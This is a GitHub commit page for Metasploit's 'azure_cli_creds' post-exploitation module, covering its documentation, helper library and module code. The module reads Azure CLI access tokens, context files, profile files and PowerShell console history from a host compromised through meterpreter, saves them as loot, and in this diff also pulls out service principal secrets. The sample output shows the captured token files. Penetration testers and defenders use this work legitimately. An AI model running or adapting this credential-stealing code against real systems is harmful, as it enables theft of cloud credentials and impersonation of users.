Skip to content

Commit 4344557

Browse files
committed
tested azure_cli_creds against data files
1 parent b71bd1d commit 4344557

File tree

4 files changed

+81
-47
lines changed

4 files changed

+81
-47
lines changed
Lines changed: 31 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,31 +1,45 @@
11
## Vulnerable Application
22

3-
Any windows, linux, or osx system with a `meterpreter` session and [Azure CLI 2.0](https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest).
3+
Any windows, linux, or osx system with a `meterpreter` session and
44

5-
Successfully tested on:
5+
[Azure CLI 2.0+](https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest).
66

7-
* Azure CLI 2.0.33 on Windows Server 2012 R2
8-
* azure-cli 2.0.33-1.el7 on openSUSE Tumbleweed 20180517
7+
Successfully tested on:
98

10-
## Verification Steps
9+
* Azure CLI 2.0.33 on Windows Server 2012 R2, and Windows 10
10+
* azure-cli 2.0.33-1.el7 on openSUSE Tumbleweed 20180517
1111

12-
Example steps in this format (is also in the PR):
12+
## Verification Steps
1313

14-
1. Install Azure CLI
15-
2. Start msfconsole
16-
3. Get a `meterpreter` session on some host.
17-
4. Do: ```use post/multi/gather/azure_cli_creds```
18-
5. Do: ```set SESSION [SESSION_ID]```
19-
6. Do: ```run```
20-
7. If the system has readable configuration files for Azure CLI, they will stored in loot and a summary will be printed to the screen.
14+
1. Install Azure CLI
15+
2. Start msfconsole
16+
3. Get a `meterpreter` session on some host.
17+
4. Do: `use post/multi/gather/azure_cli_creds`
18+
5. Do: `set SESSION [SESSION_ID]`
19+
6. Do: `run`
20+
7. If the system has readable configuration files for Azure CLI, they will stored in loot and a summary will be printed to the screen.
2121

2222
## Options
2323

24-
None.
25-
2624
## Scenarios
2725

28-
```
26+
### A new install of 2.0.33 (empty data files) on Windows 10
27+
28+
```
29+
[msf](Jobs:0 Agents:1) post(multi/gather/azure_cli_creds) > run
30+
31+
[*] az cli version: 2.0.33
32+
[*] Looking for az cli data in C:\Users\windows
33+
[*] Checking for config files
34+
[+] .Azure/config stored in /root/.msf4/loot/20240616175854_default_111.111.1.11_azure.config.ini_081029.txt
35+
[*] Checking for context files
36+
[*] Checking for profile files
37+
[+] .Azure/azureProfile.json stored in /root/.msf4/loot/20240616175855_default_111.111.1.11_azure.profile.js_357740.txt
38+
[*] Checking for console history files
39+
[*] Post module execution completed
40+
```
41+
42+
```
2943
msf5 post(multi/gather/azure_cli_creds) > run
3044
3145
[+] /home/james/.azure/accessTokens.json stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.jwt_tok_029844.txt
@@ -49,4 +63,4 @@ Source Username Count
4963
5064
[*] Post module execution completed
5165
52-
```
66+
```

lib/msf/core/post/azure.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -51,9 +51,7 @@ def process_context_contents(content)
5151
content['Contexts'].each_value do |account|
5252
username = account.dig('Account', 'Id')
5353
type = account.dig('Account', 'Type')
54-
if type == 'ServicePrincipal'
55-
account.dig('Account', 'ExtendedProperties', 'ServicePrincipalSecret')
56-
end
54+
principal_secret = account.dig('Account', 'ExtendedProperties', 'ServicePrincipalSecret') # only in 'ServicePrincipal' types
5755
access_token = account.dig('Account', 'ExtendedProperties', 'AccessToken')
5856
graph_access_token = account.dig('Account', 'ExtendedProperties', 'GraphAccessToken')
5957
# example of parsing these out to get an expiration for the token
@@ -63,7 +61,7 @@ def process_context_contents(content)
6361
# end
6462
ms_graph_access_token = account.dig('Account', 'ExtendedProperties', 'MicrosoftGraphAccessToken')
6563
key_vault_token = account.dig('Account', 'ExtendedProperties', 'KeyVault')
66-
table_data.append([username, type, access_token, graph_access_token, ms_graph_access_token, key_vault_token])
64+
table_data.append([username, type, access_token, graph_access_token, ms_graph_access_token, key_vault_token, principal_secret])
6765
end
6866
table_data
6967
end

modules/post/multi/gather/azure_cli_creds.rb

Lines changed: 35 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http://metasploit.com/download
2+
# This module requires Metasploit: https://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -15,7 +15,7 @@ def initialize(info = {})
1515
info,
1616
'Name' => 'Azure CLI Credentials Gatherer',
1717
'Description' => %q{
18-
This module will collect the Azure CLI 2.0 (az cli) settings files
18+
This module will collect the Azure CLI 2.0+ (az cli) settings files
1919
for all users on a given target. These configuration files contain
2020
JWT tokens used to authenticate users and other subscription information.
2121
Once tokens are stolen from one host, they can be used to impersonate
@@ -38,13 +38,14 @@ def initialize(info = {})
3838
end
3939

4040
def parse_json(data)
41+
data.strip!
42+
# remove BOM, https://www.qvera.com/kb/index.php/2410/csv-file-the-start-the-first-header-column-name-can-remove-this
43+
data.gsub!("\xEF\xBB\xBF", '')
4144
json_blob = nil
42-
options = { invalid: :replace, undef: :replace, replace: '' }
43-
str.encode(Encoding.find('ASCII'), options)
4445
begin
4546
json_blob = JSON.parse(data)
46-
rescue ::JSON::ParserError
47-
print_error('Unable to parse json blob')
47+
rescue ::JSON::ParserError => e
48+
print_error("Unable to parse json blob: #{e}")
4849
end
4950
json_blob
5051
end
@@ -63,7 +64,18 @@ def user_dirs
6364
user_dirs
6465
end
6566

67+
def get_az_version
68+
command = 'az --version'
69+
command = "powershell.exe #{command}" if session.platform == 'windows'
70+
version_output = cmd_exec(command, 60)
71+
version_output.match(/azure-cli \((.*)\)/)
72+
end
73+
6674
def run
75+
version = get_az_version
76+
unless version.nil?
77+
print_status("az cli version: #{version[1]}")
78+
end
6779
profile_table = Rex::Text::Table.new(
6880
'Header' => 'Subscriptions',
6981
'Indent' => 1,
@@ -77,7 +89,7 @@ def run
7789
context_table = Rex::Text::Table.new(
7890
'Header' => 'Context',
7991
'Indent' => 1,
80-
'Columns' => ['Username', 'Account Type', 'Access Token', 'Graph Access Token', 'MS Graph Access Token', 'Key Vault Token']
92+
'Columns' => ['Username', 'Account Type', 'Access Token', 'Graph Access Token', 'MS Graph Access Token', 'Key Vault Token', 'Principal Secret']
8193
)
8294

8395
user_dirs.map do |user_directory|
@@ -86,9 +98,12 @@ def run
8698

8799
# ini file content, not json.
88100
vprint_status(' Checking for config files')
89-
%w[.azure/config .Azure/config].each do |file_location|
101+
%w[.Azure\config].each do |file_location|
90102
possible_location = ::File.join(user_directory, file_location)
91-
next unless readable?(possible_location)
103+
next unless exists?(possible_location)
104+
105+
# we would prefer readable?, but windows doesn't support it, so avoiding
106+
# an extra code branch, just handle read errors later on
92107

93108
data = read_file(possible_location)
94109
next unless data
@@ -99,33 +114,37 @@ def run
99114
end
100115

101116
vprint_status(' Checking for context files')
102-
%w[.azure/AzureRmContext.json .Azure/AzureRmContext.json].each do |file_location|
117+
%w[.Azure/AzureRmContext.json].each do |file_location|
103118
possible_location = ::File.join(user_directory, file_location)
104-
next unless readable?(possible_location)
119+
next unless exists?(possible_location)
105120

106121
data = read_file(possible_location)
107122
next unless data
108123

109124
loot = store_loot 'azure.context.json', 'text/json', session, data, file_location, 'Azure CLI Context'
110125
print_good " #{file_location} stored in #{loot}"
111126
data = parse_json(data)
127+
next if data.nil?
128+
112129
results = process_context_contents(data)
113130
results.each do |result|
114131
context_table << result
115132
end
116133
end
117134

118135
vprint_status(' Checking for profile files')
119-
%w[.azure/azureProfile.json .Azure/azureProfile.json].each do |file_location|
136+
%w[.Azure/azureProfile.json].each do |file_location|
120137
possible_location = ::File.join(user_directory, file_location)
121-
next unless readable?(possible_location)
138+
next unless exists?(possible_location)
122139

123140
data = read_file(possible_location)
124141
next unless data
125142

126143
loot = store_loot 'azure.profile.json', 'text/json', session, data, file_location, 'Azure CLI Profile'
127144
print_good " #{file_location} stored in #{loot}"
128145
data = parse_json(data)
146+
next if data.nil?
147+
129148
results = process_profile_file(data)
130149
results.each do |result|
131150
profile_table << result
@@ -134,7 +153,7 @@ def run
134153

135154
%w[.azure/accessTokens.json].each do |file_location|
136155
possible_location = ::File.join(user_directory, file_location)
137-
next unless readable?(possible_location)
156+
next unless exists?(possible_location)
138157

139158
data = read_file(possible_location)
140159
next unless data
@@ -152,10 +171,9 @@ def run
152171
if session.platform == 'windows'
153172
vprint_status(' Checking for console history files')
154173
['%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt'].each do |file_location|
155-
possible_location = ::File.join(user_directory, file_location)
156-
next unless readable?(possible_location)
174+
next unless exists?(file_location)
157175

158-
data = read_file(possible_location)
176+
data = read_file(file_location)
159177
next unless data
160178

161179
loot = store_loot 'azure.console_history.txt', 'text/plain', session, data, file_location, 'Azure CLI Profile'

0 commit comments

Comments
 (0)